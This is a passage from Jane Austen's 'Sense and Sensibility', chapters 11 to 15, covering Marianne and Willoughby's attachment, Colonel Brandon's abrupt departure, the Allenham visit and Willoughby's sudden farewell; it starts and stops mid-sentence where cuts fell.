his imperfections so much in the mass," +replied Elinor, "and so much on the strength of your +own imagination, that the commendation I am able to give +of him is comparatively cold and insipid. I can only +pronounce him to be a sensible man, well-bred, well-informed, +of gentle address, and, I believe, possessing an amiable heart." + +"Miss Dashwood," cried Willoughby, "you are now using +me unkindly. You are endeavouring to disarm me by reason, +and to convince me against my will. But it will not do. +You shall find me as stubborn as you can be artful. I have +three unanswerable reasons for disliking Colonel Brandon; +he threatened me with rain when I wanted it to be fine; +he has found fault with the hanging of my curricle, +and I cannot persuade him to buy my brown mare. If it +will be any satisfaction to you, however, to be told, +that I believe his character to be in other respects +irreproachable, I am ready to confess it. And in return +for an acknowledgment, which must give me some pain, +you cannot deny me the privilege of disliking him as much +as ever." + + + +CHAPTER 11 + + +Little had Mrs. Dashwood or her daughters imagined +when they first came into Devonshire, that so many +engagements would arise to occupy their time as shortly +presented themselves, or that they should have such frequent +invitations and such constant visitors as to leave them little +leisure for serious employment. Yet such was the case. +When Marianne was recovered, the schemes of amusement at home +and abroad, which Sir John had been previously forming, +were put into execution. The private balls at the park +then began; and parties on the water were made and +accomplished as often as a showery October would allow. +In every meeting of the kind Willoughby was included; +and the ease and familiarity which naturally attended +these parties were exactly calculated to give increasing +intimacy to his acquaintance with the Dashwoods, to afford +him opportunity of witnessing the excellencies of Marianne, +of marking his animated admiration of her, and of receiving, +in her behaviour to himself, the most pointed assurance +of her affection. + +Elinor could not be surprised at their attachment. +She only wished that it were less openly shewn; and once +or twice did venture to suggest the propriety of some +self-command to Marianne. But Marianne abhorred all +concealment where no real disgrace could attend unreserve; +and to aim at the restraint of sentiments which were not +in themselves illaudable, appeared to her not merely +an unnecessary effort, but a disgraceful subjection +of reason to common-place and mistaken notions. +Willoughby thought the same; and their behaviour at +all times, was an illustration of their opinions. + +When he was present she had no eyes for any one else. +Every thing he did, was right. Every thing he said, was clever. +If their evenings at the park were concluded with cards, +he cheated himself and all the rest of the party to get +her a good hand. If dancing formed the amusement +of the night, they were partners for half the time; +and when obliged to separate for a couple of dances, +were careful to stand together and scarcely spoke a word +to any body else. Such conduct made them of course +most exceedingly laughed at; but ridicule could not shame, +and seemed hardly to provoke them. + +Mrs. Dashwood entered into all their feelings with +a warmth which left her no inclination for checking this +excessive display of them. To her it was but the natural +consequence of a strong affection in a young and ardent mind. + +This was the season of happiness to Marianne. +Her heart was devoted to Willoughby, and the fond attachment +to Norland, which she brought with her from Sussex, +was more likely to be softened than she had thought it +possible before, by the charms which his society bestowed +on her present home. + +Elinor's happiness was not so great. Her heart was not +so much at ease, nor her satisfaction in their amusements +so pure. They afforded her no companion that could make +amends for what she had left behind, nor that could teach +her to think of Norland with less regret than ever. +Neither Lady Middleton nor Mrs. Jennings could supply +to her the conversation she missed; although the latter +was an everlasting talker, and from the first had regarded +her with a kindness which ensured her a large share of +her discourse. She had already repeated her own history +to Elinor three or four times; and had Elinor's memory been +equal to her means of improvement, she might have known +very early in their acquaintance all the particulars of +Mr. Jenning's last illness, and what he said to his wife +a few minutes before he died. Lady Middleton was more +agreeable than her mother only in being more silent. +Elinor needed little observation to perceive that her +reserve was a mere calmness of manner with which sense +had nothing to do. Towards her husband and mother she +was the same as to them; and intimacy was therefore +neither to be looked for nor desired. She had nothing +to say one day that she had not said the day before. +Her insipidity was invariable, for even her spirits were +always the same; and though she did not oppose the parties +arranged by her husband, provided every thing were conducted +in style and her two eldest children attended her, +she never appeared to receive more enjoyment from them +than she might have experienced in sitting at home;-- +and so little did her presence add to the pleasure +of the others, by any share in their conversation, +that they were sometimes only reminded of her being +amongst them by her solicitude about her troublesome boys. + +In Colonel Brandon alone, of all her new acquaintance, +did Elinor find a person who could in any degree claim the +respect of abilities, excite the interest of friendship, +or give pleasure as a companion. Willoughby was out +of the question. Her admiration and regard, even her +sisterly regard, was all his own; but he was a lover; +his attentions were wholly Marianne's, and a far less +agreeable man might have been more generally pleasing. +Colonel Brandon, unfortunately for himself, had no such +encouragement to think only of Marianne, and in conversing +with Elinor he found the greatest consolation for the +indifference of her sister. + +Elinor's compassion for him increased, as she had reason +to suspect that the misery of disappointed love had already +been known to him. This suspicion was given by some words +which accidently dropped from him one evening at the park, +when they were sitting down together by mutual consent, +while the others were dancing. His eyes were fixed +on Marianne, and, after a silence of some minutes, +he said, with a faint smile, "Your sister, I understand, +does not approve of second attachments." + +"No," replied Elinor, "her opinions are all romantic." + +"Or rather, as I believe, she considers them +impossible to exist." + +"I believe she does. But how she contrives it +without reflecting on the character of her own father, +who had himself two wives, I know not. A few years +however will settle her opinions on the reasonable basis +of common sense and observation; and then they may be +more easy to define and to justify than they now are, +by any body but herself." + +"This will probably be the case," he replied; +"and yet there is something so amiable in the prejudices +of a young mind, that one is sorry to see them give way +to the reception of more general opinions." + +"I cannot agree with you there," said Elinor. +"There are inconveniences attending such feelings +as Marianne's, which all the charms of enthusiasm and +ignorance of the world cannot atone for. Her systems have +all the unfortunate tendency of setting propriety at nought; +and a better acquaintance with the world is what I look +forward to as her greatest possible advantage." + +After a short pause he resumed the conversation +by saying,-- + +"Does your sister make no distinction in her objections +against a second attachment? or is it equally criminal +in every body? Are those who have been disappointed +in their first choice, whether from the inconstancy +of its object, or the perverseness of circumstances, +to be equally indifferent during the rest of their lives?" + +"Upon my word, I am not acquainted with the minutiae +of her principles. I only know that I never yet heard her +admit any instance of a second attachment's being pardonable." + +"This," said he, "cannot hold; but a change, +a total change of sentiments--No, no, do not desire it; +for when the romantic refinements of a young mind +are obliged to give way, how frequently are they +succeeded by such opinions as are but too common, and too +dangerous! I speak from experience. I once knew a lady +who in temper and mind greatly resembled your sister, +who thought and judged like her, but who from an inforced +change--from a series of unfortunate circumstances"-- +Here he stopt suddenly; appeared to think that he had said +too much, and by his countenance gave rise to conjectures, +which might not otherwise have entered Elinor's head. +The lady would probably have passed without suspicion, +had he not convinced Miss Dashwood that what concerned +her ought not to escape his lips. As it was, +it required but a slight effort of fancy to connect his +emotion with the tender recollection of past regard. +Elinor attempted no more. But Marianne, in her place, +would not have done so little. The whole story would +have been speedily formed under her active imagination; +and every thing established in the most melancholy order +of disastrous love. + + + +CHAPTER 12 + + +As Elinor and Marianne were walking together the +next morning the latter communicated a piece of news +to her sister, which in spite of all that she knew +before of Marianne's imprudence and want of thought, +surprised her by its extravagant testimony of both. +Marianne told her, with the greatest delight, that +Willoughby had given her a horse, one that he had bred +himself on his estate in Somersetshire, and which was +exactly calculated to carry a woman. Without considering +that it was not in her mother's plan to keep any horse, +that if she were to alter her resolution in favour of +this gift, she must buy another for the servant, and +keep a servant to ride it, and after all, build a stable +to receive them, she had accepted the present without +hesitation, and told her sister of it in raptures. + +"He intends to send his groom into Somersetshire +immediately for it," she added, "and when it arrives we +will ride every day. You shall share its use with me. +Imagine to yourself, my dear Elinor, the delight of a gallop +on some of these downs." + +Most unwilling was she to awaken from such a dream of +felicity to comprehend all the unhappy truths which attended +the affair; and for some time she refused to submit to them. +As to an additional servant, the expense would be a trifle; +Mamma she was sure would never object to it; and any horse +would do for HIM; he might always get one at the park; +as to a stable, the merest shed would be sufficient. +Elinor then ventured to doubt the propriety of her receiving +such a present from a man so little, or at least so lately +known to her. This was too much. + +"You are mistaken, Elinor," said she warmly, +"in supposing I know very little of Willoughby. +I have not known him long indeed, but I am much better +acquainted with him, than I am with any other creature +in the world, except yourself and mama. It is not +time or opportunity that is to determine intimacy;-- +it is disposition alone. Seven years would be insufficient +to make some people acquainted with each other, and seven +days are more than enough for others. I should hold +myself guilty of greater impropriety in accepting a horse +from my brother, than from Willoughby. Of John I know +very little, though we have lived together for years; +but of Willoughby my judgment has long been formed." + +Elinor thought it wisest to touch that point no more. +She knew her sister's temper. Opposition on so tender a +subject would only attach her the more to her own opinion. +But by an appeal to her affection for her mother, +by representing the inconveniences which that indulgent +mother must draw on herself, if (as would probably be +the case) she consented to this increase of establishment, +Marianne was shortly subdued; and she promised not to +tempt her mother to such imprudent kindness by mentioning +the offer, and to tell Willoughby when she saw him next, +that it must be declined. + +She was faithful to her word; and when Willoughby +called at the cottage, the same day, Elinor heard her +express her disappointment to him in a low voice, on +being obliged to forego the acceptance of his present. +The reasons for this alteration were at the same time related, +and they were such as to make further entreaty on his +side impossible. His concern however was very apparent; +and after expressing it with earnestness, he added, +in the same low voice,--"But, Marianne, the horse is +still yours, though you cannot use it now. I shall keep +it only till you can claim it. When you leave Barton +to form your own establishment in a more lasting home, +Queen Mab shall receive you." + +This was all overheard by Miss Dashwood; and in the +whole of the sentence, in his manner of pronouncing it, +and in his addressing her sister by her Christian name alone, +she instantly saw an intimacy so decided, a meaning +so direct, as marked a perfect agreement between them. +From that moment she doubted not of their being engaged +to each other; and the belief of it created no other surprise +than that she, or any of their friends, should be left +by tempers so frank, to discover it by accident. + +Margaret related something to her the next day, +which placed this matter in a still clearer light. +Willoughby had spent the preceding evening with them, +and Margaret, by being left some time in the parlour +with only him and Marianne, had had opportunity +for observations, which, with a most important face, +she communicated to her eldest sister, when they were +next by themselves. + +"Oh, Elinor!" she cried, "I have such a secret to +tell you about Marianne. I am sure she will be married +to Mr. Willoughby very soon." + +"You have said so," replied Elinor, "almost every +day since they first met on High-church Down; and they +had not known each other a week, I believe, before you +were certain that Marianne wore his picture round her neck; +but it turned out to be only the miniature of our great uncle." + +"But indeed this is quite another thing. I am sure +they will be married very soon, for he has got a lock +of her hair." + +"Take care, Margaret. It may be only the hair +of some great uncle of HIS." + +"But, indeed, Elinor, it is Marianne's. I am almost +sure it is, for I saw him cut it off. Last night +after tea, when you and mama went out of the room, +they were whispering and talking together as fast as +could be, and he seemed to be begging something of her, +and presently he took up her scissors and cut off a long +lock of her hair, for it was all tumbled down her back; +and he kissed it, and folded it up in a piece of white paper; +and put it into his pocket-book." + +For such particulars, stated on such authority, +Elinor could not withhold her credit; nor was she disposed +to it, for the circumstance was in perfect unison with +what she had heard and seen herself. + +Margaret's sagacity was not always displayed in a +way so satisfactory to her sister. When Mrs. Jennings +attacked her one evening at the park, to give the name +of the young man who was Elinor's particular favourite, +which had been long a matter of great curiosity to her, +Margaret answered by looking at her sister, and saying, +"I must not tell, may I, Elinor?" + +This of course made every body laugh; and Elinor +tried to laugh too. But the effort was painful. +She was convinced that Margaret had fixed on a person +whose name she could not bear with composure to become +a standing joke with Mrs. Jennings. + +Marianne felt for her most sincerely; but she did +more harm than good to the cause, by turning very red +and saying in an angry manner to Margaret, + +"Remember that whatever your conjectures may be, +you have no right to repeat them." + +"I never had any conjectures about it," replied Margaret; +"it was you who told me of it yourself." + +This increased the mirth of the company, and Margaret +was eagerly pressed to say something more. + +"Oh! pray, Miss Margaret, let us know all about it," +said Mrs. Jennings. "What is the gentleman's name?" + +"I must not tell, ma'am. But I know very well what it is; +and I know where he is too." + +"Yes, yes, we can guess where he is; at his own house +at Norland to be sure. He is the curate of the parish +I dare say." + +"No, THAT he is not. He is of no profession at all." + +"Margaret," said Marianne with great warmth, +"you know that all this is an invention of your own, +and that there is no such person in existence." + +"Well, then, he is lately dead, Marianne, for I +am sure there was such a man once, and his name begins +with an F." + +Most grateful did Elinor feel to Lady Middleton +for observing, at this moment, "that it rained very hard," +though she believed the interruption to proceed less from +any attention to her, than from her ladyship's great dislike +of all such inelegant subjects of raillery as delighted +her husband and mother. The idea however started by her, +was immediately pursued by Colonel Brandon, who was +on every occasion mindful of the feelings of others; +and much was said on the subject of rain by both of them. +Willoughby opened the piano-forte, and asked Marianne +to sit down to it; and thus amidst the various endeavours +of different people to quit the topic, it fell to the ground. +But not so easily did Elinor recover from the alarm into +which it had thrown her. + +A party was formed this evening for going on the +following day to see a very fine place about twelve miles +from Barton, belonging to a brother-in-law of Colonel Brandon, +without whose interest it could not be seen, as the proprietor, +who was then abroad, had left strict orders on that head. +The grounds were declared to be highly beautiful, +and Sir John, who was particularly warm in their praise, +might be allowed to be a tolerable judge, for he had +formed parties to visit them, at least, twice every summer +for the last ten years. They contained a noble piece +of water; a sail on which was to a form a great part of +the morning's amusement; cold provisions were to be taken, +open carriages only to be employed, and every thing +conducted in the usual style of a complete party of pleasure. + +To some few of the company it appeared rather +a bold undertaking, considering the time of year, +and that it had rained every day for the last fortnight;-- +and Mrs. Dashwood, who had already a cold, was persuaded +by Elinor to stay at home. + + + +CHAPTER 13 + + +Their intended excursion to Whitwell turned out +very different from what Elinor had expected. She was +prepared to be wet through, fatigued, and frightened; +but the event was still more unfortunate, for they did +not go at all. + +By ten o'clock the whole party was assembled at +the park, where they were to breakfast. The morning +was rather favourable, though it had rained all night, +as the clouds were then dispersing across the sky, +and the sun frequently appeared. They were all in high +spirits and good humour, eager to be happy, and determined +to submit to the greatest inconveniences and hardships +rather than be otherwise. + +While they were at breakfast the letters were brought in. +Among the rest there was one for Colonel Brandon;--he +took it, looked at the direction, changed colour, +and immediately left the room. + +"What is the matter with Brandon?" said Sir John. + +Nobody could tell. + +"I hope he has had no bad news," said Lady Middleton. +"It must be something extraordinary that could make Colonel +Brandon leave my breakfast table so suddenly." + +In about five minutes he returned. + +"No bad news, Colonel, I hope;" said Mrs. Jennings, +as soon as he entered the room. + +"None at all, ma'am, I thank you." + +"Was it from Avignon? I hope it is not to say +that your sister is worse." + +"No, ma'am. It came from town, and is merely +a letter of business." + +"But how came the hand to discompose you so much, +if it was only a letter of business? Come, come, +this won't do, Colonel; so let us hear the truth of it." + +"My dear madam," said Lady Middleton, "recollect what +you are saying." + +"Perhaps it is to tell you that your cousin Fanny +is married?" said Mrs. Jennings, without attending +to her daughter's reproof. + +"No, indeed, it is not." + +"Well, then, I know who it is from, Colonel. And I +hope she is well." + +"Whom do you mean, ma'am?" said he, colouring a little. + +"Oh! you know who I mean." + +"I am particularly sorry, ma'am," said he, +addressing Lady Middleton, "that I should receive this +letter today, for it is on business which requires +my immediate attendance in town." + +"In town!" cried Mrs. Jennings. "What can you +have to do in town at this time of year?" + +"My own loss is great," be continued, "in being obliged +to leave so agreeable a party; but I am the more concerned, +as I fear my presence is necessary to gain your admittance +at Whitwell." + +What a blow upon them all was this! + +"But if you write a note to the housekeeper, Mr. Brandon," +said Marianne, eagerly, "will it not be sufficient?" + +He shook his head. + +"We must go," said Sir John.--"It shall not be put +off when we are so near it. You cannot go to town till +tomorrow, Brandon, that is all." + +"I wish it could be so easily settled. But it +is not in my power to delay my journey for one day!" + +"If you would but let us know what your business is," +said Mrs. Jennings, "we might see whether it could be put +off or not." + +"You would not be six hours later," said Willoughby, +"if you were to defer your journey till our return." + +"I cannot afford to lose ONE hour."-- + +Elinor then heard Willoughby say, in a low voice to Marianne, +"There are some people who cannot bear a party of pleasure. +Brandon is one of them. He was afraid of catching cold +I dare say, and invented this trick for getting out of it. +I would lay fifty guineas the letter was of his own writing." + +"I have no doubt of it," replied Marianne. + +"There is no persuading you to change your mind, +Brandon, I know of old," said Sir John, "when once you +are determined on anything. But, however, I hope you +will think better of it. Consider, here are the two Miss +Careys come over from Newton, the three Miss Dashwoods +walked up from the cottage, and Mr. Willoughby got up +two hours before his usual time, on purpose to go to Whitwell." + +Colonel Brandon again repeated his sorrow at being +the cause of disappointing the party; but at the same +time declared it to be unavoidable. + +"Well, then, when will you come back again?" + +"I hope we shall see you at Barton," added her ladyship, +"as soon as you can conveniently leave town; and we must +put off the party to Whitwell till you return." + +"You are very obliging. But it is so uncertain, +when I may have it in my power to return, that I dare +not engage for it at all." + +"Oh! he must and shall come back," cried Sir John. +"If he is not here by the end of the week, I shall go +after him." + +"Ay, so do, Sir John," cried Mrs. Jennings, "and then +perhaps you may find out what his business is." + +"I do not want to pry into other men's concerns. +I suppose it is something he is ashamed of." + +Colonel Brandon's horses were announced. + +"You do not go to town on horseback, do you?" +added Sir John. + +"No. Only to Honiton. I shall then go post." + +"Well, as you are resolved to go, I wish you +a good journey. But you had better change your mind." + +"I assure you it is not in my power." + +He then took leave of the whole party. + +"Is there no chance of my seeing you and your sisters +in town this winter, Miss Dashwood?" + +"I am afraid, none at all." + +"Then I must bid you farewell for a longer time +than I should wish to do." + +To Marianne, he merely bowed and said nothing. + +"Come Colonel," said Mrs. Jennings, "before you go, +do let us know what you are going about." + +He wished her a good morning, and, attended by Sir John, +left the room. + +The complaints and lamentations which politeness +had hitherto restrained, now burst forth universally; +and they all agreed again and again how provoking it was +to be so disappointed. + +"I can guess what his business is, however," +said Mrs. Jennings exultingly. + +"Can you, ma'am?" said almost every body. + +"Yes; it is about Miss Williams, I am sure." + +"And who is Miss Williams?" asked Marianne. + +"What! do not you know who Miss Williams is? I am +sure you must have heard of her before. She is a relation +of the Colonel's, my dear; a very near relation. We will +not say how near, for fear of shocking the young ladies." +Then, lowering her voice a little, she said to Elinor, +"She is his natural daughter." + +"Indeed!" + +"Oh, yes; and as like him as she can stare. +I dare say the Colonel will leave her all his fortune." + +When Sir John returned, he joined most heartily +in the general regret on so unfortunate an event; +concluding however by observing, that as they were +all got together, they must do something by way of +being happy; and after some consultation it was agreed, +that although happiness could only be enjoyed at Whitwell, +they might procure a tolerable composure of mind by driving +about the country. The carriages were then ordered; +Willoughby's was first, and Marianne never looked +happier than when she got into it. He drove through +the park very fast, and they were soon out of sight; +and nothing more of them was seen till their return, +which did not happen till after the return of all the rest. +They both seemed delighted with their drive; but said +only in general terms that they had kept in the lanes, +while the others went on the downs. + +It was settled that there should be a dance in the evening, +and that every body should be extremely merry all day long. +Some more of the Careys came to dinner, and they had the +pleasure of sitting down nearly twenty to table, which Sir +John observed with great contentment. Willoughby took +his usual place between the two elder Miss Dashwoods. +Mrs. Jennings sat on Elinor's right hand; and they had not +been long seated, before she leant behind her and Willoughby, +and said to Marianne, loud enough for them both to hear, +"I have found you out in spite of all your tricks. +I know where you spent the morning." + +Marianne coloured, and replied very hastily, +"Where, pray?"-- + +"Did not you know," said Willoughby, "that we had +been out in my curricle?" + +"Yes, yes, Mr. Impudence, I know that very well, +and I was determined to find out WHERE you had been to.-- +I hope you like your house, Miss Marianne. It is a very +large one, I know; and when I come to see you, I hope you +will have new-furnished it, for it wanted it very much +when I was there six years ago." + +Marianne turned away in great confusion. +Mrs. Jennings laughed heartily; and Elinor found that in her +resolution to know where they had been, she had actually +made her own woman enquire of Mr. Willoughby's groom; +and that she had by that method been informed that they +had gone to Allenham, and spent a considerable time there +in walking about the garden and going all over the house. + +Elinor could hardly believe this to be true, +as it seemed very unlikely that Willoughby should propose, +or Marianne consent, to enter the house while Mrs. Smith was +in it, with whom Marianne had not the smallest acquaintance. + +As soon as they left the dining-room, Elinor enquired +of her about it; and great was her surprise when she +found that every circumstance related by Mrs. Jennings +was perfectly true. Marianne was quite angry with her +for doubting it. + +"Why should you imagine, Elinor, that we did not +go there, or that we did not see the house? Is not it +what you have often wished to do yourself?" + +"Yes, Marianne, but I would not go while Mrs. Smith +was there, and with no other companion than Mr. Willoughby." + +"Mr. Willoughby however is the only person who can +have a right to shew that house; and as he went in an open +carriage, it was impossible to have any other companion. +I never spent a pleasanter morning in my life." + +"I am afraid," replied Elinor, "that the pleasantness +of an employment does not always evince its propriety." + +"On the contrary, nothing can be a stronger proof +of it, Elinor; for if there had been any real impropriety +in what I did, I should have been sensible of it at +the time, for we always know when we are acting wrong, +and with such a conviction I could have had no pleasure." + +"But, my dear Marianne, as it has already exposed you +to some very impertinent remarks, do you not now begin +to doubt the discretion of your own conduct?" + +"If the impertinent remarks of Mrs. Jennings are +to be the proof of impropriety in conduct, we are all +offending every moment of our lives. I value not her +censure any more than I should do her commendation. +I am not sensible of having done anything wrong in walking +over Mrs. Smith's grounds, or in seeing her house. +They will one day be Mr. Willoughby's, and--" + +"If they were one day to be your own, Marianne, +you would not be justified in what you have done." + +She blushed at this hint; but it was even visibly +gratifying to her; and after a ten minutes' interval of +earnest thought, she came to her sister again, and said +with great good humour, "Perhaps, Elinor, it WAS rather +ill-judged in me to go to Allenham; but Mr. Willoughby wanted +particularly to shew me the place; and it is a charming house, +I assure you.--There is one remarkably pretty sitting room +up stairs; of a nice comfortable size for constant use, +and with modern furniture it would be delightful. +It is a corner room, and has windows on two sides. +On one side you look across the bowling-green, behind +the house, to a beautiful hanging wood, and on the other you +have a view of the church and village, and, beyond them, +of those fine bold hills that we have so often admired. +I did not see it to advantage, for nothing could be +more forlorn than the furniture,--but if it were newly +fitted up--a couple of hundred pounds, Willoughby says, +would make it one of the pleasantest summer-rooms +in England." + +Could Elinor have listened to her without interruption +from the others, she would have described every room +in the house with equal delight. + + + +CHAPTER 14 + + +The sudden termination of Colonel Brandon's visit +at the park, with his steadiness in concealing its cause, +filled the mind, and raised the wonder of Mrs. Jennings +for two or three days; she was a great wonderer, as every +one must be who takes a very lively interest in all the +comings and goings of all their acquaintance. She wondered, +with little intermission what could be the reason of it; +was sure there must be some bad news, and thought over +every kind of distress that could have befallen him, +with a fixed determination that he should not escape +them all. + +"Something very melancholy must be the matter, +I am sure," said she. "I could see it in his face. +Poor man! I am afraid his circumstances may be bad. +The estate at Delaford was never reckoned more than two thousand +a year, and his brother left everything sadly involved. +I do think he must have been sent for about money matters, +for what else can it be? I wonder whether it is so. +I would give anything to know the truth of it. Perhaps it +is about Miss Williams and, by the bye, I dare say it is, +because he looked so conscious when I mentioned her. +May be she is ill in town; nothing in the world more likely, +for I have a notion she is always rather sickly. +I would lay any wager it is about Miss Williams. +It is not so very likely he should be distressed in +his circumstances NOW, for he is a very prudent man, +and to be sure must have cleared the estate by this time. +I wonder what it can be! May be his sister is worse +at Avignon, and has sent for him over. His setting off +in such a hurry seems very like it. Well, I wish him out +of all his trouble with all my heart, and a good wife into +the bargain." + +So wondered, so talked Mrs. Jennings. Her opinion +varying with every fresh conjecture, and all seeming +equally probable as they arose. Elinor, though she felt +really interested in the welfare of Colonel Brandon, +could not bestow all the wonder on his going so suddenly +away, which Mrs. Jennings was desirous of her feeling; +for besides that the circumstance did not in her opinion +justify such lasting amazement or variety of speculation, +her wonder was otherwise disposed of. It was engrossed +by the extraordinary silence of her sister and Willoughby +on the subject, which they must know to be peculiarly +interesting to them all. As this silence continued, +every day made it appear more strange and more incompatible +with the disposition of both. Why they should not openly +acknowledge to her mother and herself, what their constant +behaviour to each other declared to have taken place, +Elinor could not imagine. + +She could easily conceive that marriage might not +be immediately in their power; for though Willoughby +was independent, there was no reason to believe him rich. +His estate had been rated by Sir John at about six or seven +hundred a year; but he lived at an expense to which that income +could hardly be equal, and he had himself often complained +of his poverty. But for this strange kind of secrecy +maintained by them relative to their engagement, which +in fact concealed nothing at all, she could not account; +and it was so wholly contradictory to their general +opinions and practice, that a doubt sometimes entered +her mind of their being really engaged, and this doubt +was enough to prevent her making any inquiry of Marianne. + +Nothing could be more expressive of attachment +to them all, than Willoughby's behaviour. To Marianne +it had all the distinguishing tenderness which a lover's +heart could give, and to the rest of the family it was the +affectionate attention of a son and a brother. The cottage +seemed to be considered and loved by him as his home; +many more of his hours were spent there than at Allenham; +and if no general engagement collected them at the park, +the exercise which called him out in the morning was +almost certain of ending there, where the rest of the day +was spent by himself at the side of Marianne, and by his +favourite pointer at her feet. + +One evening in particular, about a week after +Colonel Brandon left the country, his heart seemed +more than usually open to every feeling of attachment +to the objects around him; and on Mrs. Dashwood's +happening to mention her design of improving the cottage +in the spring, he warmly opposed every alteration +of a place which affection had established as perfect with him. + +"What!" he exclaimed--"Improve this dear cottage! +No. THAT I will never consent to. Not a stone must +be added to its walls, not an inch to its size, +if my feelings are regarded." + +"Do not be alarmed," said Miss Dashwood, +"nothing of the kind will be done; for my mother +will never have money enough to attempt it." + +"I am heartily glad of it," he cried. "May she +always be poor, if she can employ her riches no better." + +"Thank you, Willoughby. But you may be assured that I +would not sacrifice one sentiment of local attachment +of yours, or of any one whom I loved, for all the improvements +in the world. Depend upon it that whatever unemployed +sum may remain, when I make up my accounts in the spring, +I would even rather lay it uselessly by than dispose +of it in a manner so painful to you. But are you really +so attached to this place as to see no defect in it?" + +"I am," said he. "To me it is faultless. Nay, more, +I consider it as the only form of building in which happiness +is attainable, and were I rich enough I would instantly pull +Combe down, and build it up again in the exact plan of this +cottage." + +"With dark narrow stairs and a kitchen that smokes, +I suppose," said Elinor. + +"Yes," cried he in the same eager tone, "with all +and every thing belonging to it;--in no one convenience +or INconvenience about it, should the least variation +be perceptible. Then, and then only, under such a roof, I +might perhaps be as happy at Combe as I have been at Barton." + +"I flatter myself," replied Elinor, "that even under +the disadvantage of better rooms and a broader staircase, +you will hereafter find your own house as faultless as you +now do this." + +"There certainly are circumstances," said Willoughby, +"which might greatly endear it to me; but this place will +always have one claim of my affection, which no other can +possibly share." + +Mrs. Dashwood looked with pleasure at Marianne, +whose fine eyes were fixed so expressively on Willoughby, +as plainly denoted how well she understood him. + +"How often did I wish," added he, "when I was at +Allenham this time twelvemonth, that Barton cottage were +inhabited! I never passed within view of it without admiring +its situation, and grieving that no one should live in it. +How little did I then think that the very first news +I should hear from Mrs. Smith, when I next came into +the country, would be that Barton cottage was taken: and I +felt an immediate satisfaction and interest in the event, +which nothing but a kind of prescience of what happiness I +should experience from it, can account for. Must it not have +been so, Marianne?" speaking to her in a lowered voice. +Then continuing his former tone, he said, "And yet this +house you would spoil, Mrs. Dashwood? You would rob it +of its simplicity by imaginary improvement! and this dear +parlour in which our acquaintance first began, and in which +so many happy hours have been since spent by us together, +you would degrade to the condition of a common entrance, +and every body would be eager to pass through the room +which has hitherto contained within itself more real +accommodation and comfort than any other apartment of +the handsomest dimensions in the world could possibly afford." + +Mrs. Dashwood again assured him that no alteration +of the kind should be attempted. + +"You are a good woman," he warmly replied. +"Your promise makes me easy. Extend it a little farther, +and it will make me happy. Tell me that not only your +house will remain the same, but that I shall ever find +you and yours as unchanged as your dwelling; and that you +will always consider me with the kindness which has made +everything belonging to you so dear to me." + +The promise was readily given, and Willoughby's +behaviour during the whole of the evening declared +at once his affection and happiness. + +"Shall we see you tomorrow to dinner?" said Mrs. Dashwood, +when he was leaving them. "I do not ask you to come in +the morning, for we must walk to the park, to call on Lady +Middleton." + +He engaged to be with them by four o'clock. + + + +CHAPTER 15 + + +Mrs. Dashwood's visit to Lady Middleton took place +the next day, and two of her daughters went with her; +but Marianne excused herself from being of the party, +under some trifling pretext of employment; and her mother, +who concluded that a promise had been made by Willoughby +the night before of calling on her while they were absent, +was perfectly satisfied with her remaining at home. + +On their return from the park they found Willoughby's +curricle and servant in waiting at the cottage, +and Mrs. Dashwood was convinced that her conjecture +had been just. So far it was all as she had foreseen; +but on entering the house she beheld what no foresight +had taught her to expect. They were no sooner in the +passage than Marianne came hastily out of the parlour +apparently in violent affliction, with her handkerchief +at her eyes; and without noticing them ran up stairs. +Surprised and alarmed they proceeded directly into the room +she had just quitted, where they found only Willoughby, +who was leaning against the mantel-piece with his back +towards them. He turned round on their coming in, +and his countenance shewed that he strongly partook +of the emotion which over-powered Marianne. + +"Is anything the matter with her?" cried Mrs. Dashwood +as she entered--"is she ill?" + +"I hope not," he replied, trying to look cheerful; +and with a forced smile presently added, "It is I who may +rather expect to be ill--for I am now suffering under a +very heavy disappointment!" + +"Disappointment?" + +"Yes, for I am unable to keep my engagement with you. +Mrs. Smith has this morning exercised the privilege +of riches upon a poor dependent cousin, by sending me on +business to London. I have just received my dispatches, +and taken my farewell of Allenham; and by way of exhilaration +I am now come to take my farewell of you." + +"To London!--and are you going this morning?" + +"Almost this moment." + +"This is very unfortunate. But Mrs. Smith must +be obliged;--and her business will not detain you from +us long I hope." + +He coloured as he replied, "You are very kind, but I +have no idea of returning into Devonshire immediately. +My visits to Mrs. Smith are never repeated within +the twelvemonth." + +"And is Mrs. Smith your only friend? Is Allenham the only +house in the neighbourhood to which you will be welcome? +For shame, Willoughby, can you wait for an invitation here?" + +His colour increased; and with his eyes fixed +on the ground he only replied, "You are too good." + +Mrs. Dashwood looked at Elinor with surprise. +Elinor felt equal amazement. For a few moments every one +was silent. Mrs. Dashwood first spoke. + +"I have only to add, my dear Willoughby, that at +Barton cottage you will always be welcome; for I will not +press you to return here immediately, because you only +can judge how far THAT might be pleasing to Mrs. Smith; +and on this head I shall be no more disposed to question +your judgment than to doubt your inclination." + +"My engagements at present," replied Willoughby, +confusedly, "are of such a nature--that--I dare not flatter +myself"-- + +He stopt. Mrs. Dashwood was too much astonished +to speak, and another pause succeeded. This was broken +by Willoughby, who said with a faint smile, "It is folly +to linger in this manner. I will not torment myself +any longer by remaining among friends whose society +it is impossible for me now to enjoy." + +He then hastily took leave of them all and left +the room. They saw him step into his carriage, +and in a minute it was out of sight. + +Mrs. Dashwood felt too much for speech, and instantly +quitted the parlour to give way in solitude to the concern +and alarm which this sudden departure occasioned. + +Elinor's uneasiness was at least equal to her mother's. +She thought of what had just passed with anxiety and distrust. +Willoughby's behaviour in taking leave of them, his +embarrassment, +and affectation of cheerfulness, and, above all, his +unwillingness +to accept her mother's invitation, a backwardness so unlike a +lover, +so unlike himself, greatly disturbed her. One moment she feared +that no serious design had ever been formed on his side; and the +next that some unfortunate quarrel had taken place between him +and +her sister;--the distress in which Marianne had quitted the room +was such as a serious quarrel could most reasonably account for, +though when she considered what Marianne's love for him was, +a quarrel seemed almost impossible. + +But whatever might be the particulars of their separation, +her sister's affliction was indubitable; and she thought +with the tenderest compassion of that violent sorrow +which Marianne was in all probability not merely giving +way to as a relief, but feeding and encouraging as a duty. + +In about half an hour her mother returned, and though +her eyes were red, her countenance was not uncheerful. + +"Our dear Willoughby is now some miles from Barton, Elinor," +said she, as she sat down to work, "and with how heavy a heart +does he travel?" + +"It is all very strange. So suddenly to be gone! It +seems but the work of a moment. And last night he was +with us so happy, so cheerful, so affectionate? And now, +after only ten minutes notice--Gone too without intending +to return!--Something more than what be owned to us must +have happened. He did not speak, he did not behave +like himself. YOU must have seen the difference as well as I. +What can it be? Can they have quarrelled? Why else should he +have shewn such 